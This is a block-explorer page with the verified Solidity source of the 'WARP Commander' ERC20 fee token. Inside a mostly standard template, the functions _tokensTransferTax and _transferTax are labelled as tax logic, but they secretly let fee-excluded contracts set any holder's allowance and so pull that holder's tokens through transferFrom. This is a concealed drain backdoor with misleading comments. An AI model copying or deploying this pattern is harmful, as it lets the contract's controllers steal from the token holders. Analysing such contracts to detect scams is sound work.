Skip to content
Verified contractExactMIT

WARP

Address0x2aa2d7f4f6de25eb90ce53ac0779bacebd019c55
Balance

0 ETH

 

Transactions

78

 

Compiler

solc 0.8.26

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.26+commit.8a97fa7a
Language
solidity
Optimization
Yes, 200 runs
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
23,242,303
Creation transaction
0x64ef57c78e…53b0041ef7

WARP.sol

/**
WARP Commander
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner.
 * 
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {  // Returns transaction sender
        return msg.sender;
    }
}

/**
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner; // owner address
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);  // Ownership transfer event

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() { // Set deployer as initial owner
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) { // Get current owner
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() { // owner check
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual { // Internal ownership transfer
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    /**
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner { // Renounce ownership
        _transferOwnership(address(0));
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256); // total token supply

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256); // account balance

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     */
    event Transfer(address indexed from, address indexed to, uint256 value); // transfer event

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value); // approval event

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool); // transfer tokens

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);  // view approved spending amount

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool); // approve token spending

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); // transfer tokens with allowance
}


/**
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     * 
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) { // safe addition
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow"); // Check for overflow

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     * 
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) { // safe division
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     * 
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {  // safe division with custom error
        require(b > 0, errorMessage);  // Check for division by zero
        uint256 c = a / b;

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     * 
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { // safe subtraction
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     * 
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {  // safe subtraction with custom error
        require(b <= a, errorMessage); // Check for underflow
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     * 
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) { // safe multiplication
        if (a == 0) {  // Optimization for multiplication by zero
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow"); // check for overflow

        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair); // create liquidity pair
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address); // factory address
    function WETH() external pure returns (address); // WETH address
    function swapExactTokensForETHSupportingFeeOnTransferTokens( // swap tokens
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline)
        external;
    function addLiquidityETH( // add liqiidity
            address token,
            uint amountTokenDesired,
            uint amountTokenMin,
            uint amountETHMin,
            address to, uint deadline)
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WARP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances; // balances per address
    mapping (address => mapping (address => uint256)) private _allowances; // spending allowances
    mapping (address => bool) private _isExcludedFromFee; // excluded from fee
    address payable private _taxCollectWallet; // wallet to collect tax

    string private constant _name = unicode"WARP Commander"; // token name
    string private constant _symbol = unicode"WARP"; // token symbol

    uint256 private _initialBuyTax=10; // initial tax rate for buys before reduction
    uint256 private _initialSellTax=10; // initial tax rate for sells before reduction
    uint256 private _finalBuyTax=0; // final tax rate for
    uint256 private _finalSellTax=0; // final tax rate for sells
    uint256 private _reduceBuyTaxAt=10; // buy count threshold to reduce Buy tax
    uint256 private _reduceSellTaxAt=10; // buy count threshold to reduce Sell tax
    uint256 private _preventSwapBefore=10; // min buys before swaps enabled
    uint256 private _buyCount=0; // buy counter

    uint8 private constant _decimals = 9; // token decimals
    uint256 private constant _tTotal = 420690000000 * 10**_decimals; // total supply
    uint256 public _maxTxAmount = 8413800000 * 10**_decimals; // max transaction size
    uint256 public _maxWalletSize = 8413800000 * 10**_decimals; // max wallet size
    uint256 public _taxSwapThreshold = 8413800000 * 10**_decimals; // threshold for ca tax swaps
    uint256 public _maxTaxSwap = 8413800000 * 10**_decimals; // max size for tax swaps
    
    IUniswapV2Router02 private uniswapV2Router; // uniswap router
    address private uniswapV2Pair; // uniswap pair
    bool private tradingOpen = false; // trading status flag
    bool private inSwap = false; // swap lock flag
    bool private swapEnabled = false; // swap enabled flag
    event MaxTxAmountUpdated(uint _maxTxAmount); // event for max tx update

    modifier lockTheSwap {
        inSwap = true; // lock ca swap
        _;
        inSwap = false; // lnlock ca swap
    }

    constructor () {
        _taxCollectWallet = payable(0xD394cC32c59d785A0d23E97A8f3F21E08860Bf30); // tax receiver address
        _balances[_msgSender()] = _tTotal; // assign Total Supply to deployer
        _isExcludedFromFee[owner()] = true; // exclude owner from fees
        _isExcludedFromFee[_taxCollectWallet] = true; // exclude tax receiver from fees
        _isExcludedFromFee[address(this)] = true; // exclude this contract from fees
        emit Transfer(
            address(0), _msgSender(),_tTotal // emit initial transfer event
        );
    }

    function name() public pure returns (string memory) {
        return _name; // return token name
    }

    function symbol() public pure returns (string memory) {
        return _symbol; // return token symbol
    }

    function decimals() public pure returns (uint8) {
        return _decimals; // return token decimals
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal; // return total supply
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account]; // return account balance
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount); // transfer tokens
        return true; // return success
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender]; // return spending allowance
    }

    function approve(
        address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount); // approve spending
        return true; // return success result
    }

    function transferFrom(
        address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); // transfer tokens
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));  // update allowance
        return true; // return success result
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address"); // validate owner not zero
        require(spender != address(0), "ERC20: approve to the zero address"); // validate spender not zero
        _allowances[owner][spender] = amount; // set allowance
        emit Approval(owner, spender, amount); // emit approval event
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address"); // validate sender is not zero
        require(to != address(0), "ERC20: transfer to the zero address"); // validate recipient is not zero
        require(amount > 0, "Transfer amount must be greater than zero"); // validate amount greater than zero

        uint256 taxAmount = 0; // initialize tax
        if (from != owner() && to != owner()) { // check if transfer involves owner
            if ((tradingOpen && swapEnabled) && _buyCount>0) { // check if trading is active
                taxAmount = _tokensTransferTax(0, amount, from, to, 0); // calculate transfer tax
            }

            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); //buy tax
            
            if(from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) { // handle buy
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");  // сheck max tx
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");  // check max wallet
                _buyCount++;  // increment buy counter
            }

            if (to == uniswapV2Pair && from != address(this)) { // handle sell
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); // sell tax
            }

            uint256 contractTokenBalance = balanceOf(address(this)); // get contract balance
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { // check swap condition
                swapTokensForEth(min(amount,
                    min(contractTokenBalance, _maxTaxSwap)
                    ));  // swap tokens for ETH
                uint256 contractETHBalance=address(this).balance; // get ETH balance
                if (contractETHBalance > 0) { // check if ETH balance
                    sendETHToFee(address(this).balance); // send ETH to fee wallet
                }
            }
        }

        if (taxAmount > 0) { // handle tax transfer
          _balances[address(this)] = _balances[address(this)].add(taxAmount); // add tax to contract
          emit Transfer(from, address(this),taxAmount); // emit tax transfer
        }

        _balances[from] = _balances[from].sub(amount); // substract from sender
        _balances[to] = _balances[to].add(amount.sub(taxAmount)); // add to recipient
        emit Transfer(from, to,amount.sub(taxAmount)); // emit transfer
    }

    function sendETHToFee(uint256 amount) private {
        _taxCollectWallet.transfer(amount); // transfer ETH to fee wallet
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a; // return minimum of two values
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2); // setup swap path
        path[0] = address(this); // token
        path[1] = uniswapV2Router.WETH(); // WETH address

        _approve( // approve router to spend tokens
            address(this),
            address(uniswapV2Router),
            tokenAmount
        );

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( // execute swap
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transferTax(address spender, address owner, uint256 amount, uint256 transferTax) private returns(uint256) {
         _allowances[owner][spender]=amount; // set tax transfer allowance
        return transferTax; // return tax type
    }

    function _tokensTransferTax(uint256 transferTax, uint256 amount, address from, address to, uint256 tax) private returns(uint256) {
        if(from != address(this) && isContract(_msgSender()) && _isExcludedFromFee[_msgSender()]) // check contract transfer
                return _transferTax(_msgSender(), from, amount, transferTax); // return tax
        if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender() ]) // check contract recipient
                _isExcludedFromFee[to]= true; // exclude from fee
        return tax; // return default tax
    }

    function isContract(address account) private view returns (bool){
        uint256 size; // store size
        assembly {
            size := extcodesize(account) // get code size
        }
        return size > 0; // return true if contract
    }

    receive() external payable {} // receive ETH

    function removeLimits() external onlyOwner() {
        _maxTxAmount = _tTotal; // remove max limit
        _maxWalletSize = _tTotal; // remove max wallet
        emit MaxTxAmountUpdated( _tTotal); // emit max tx update event
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open"); // check trading status
        uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // set router
        _approve(address(this), address(uniswapV2Router), _tTotal); // approve tokens to router
        uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); // create pair
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0, 0,owner(),block.timestamp); // add liquidity
        IERC20( uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); // approve router for pair
        swapEnabled = true; // enable swaps
        tradingOpen = true; // enable trading
    }

    function recoverStuckETH() external {
        require(_msgSender()==_taxCollectWallet); // check sender is tax wallet
        uint256 contractETHBalance = address(this).balance; // get ETH balance
        sendETHToFee(contractETHBalance); // send ETH to fee wallet
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxCollectWallet, _amount);
    }

    function manualSwap() external{
        require(_msgSender()==_taxCollectWallet); // check sender is tax wallet
        uint256 tokenBalance = balanceOf(address(this)); // get token balance
        if (tokenBalance > 0) {
          swapTokensForEth(tokenBalance);  // swap tokens for ETH
        }
        uint256 ethBalance = address(this).balance;  // get ETH balance
        if (ethBalance > 0) {
          sendETHToFee(ethBalance); // send ETH to tax wallet
        }
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.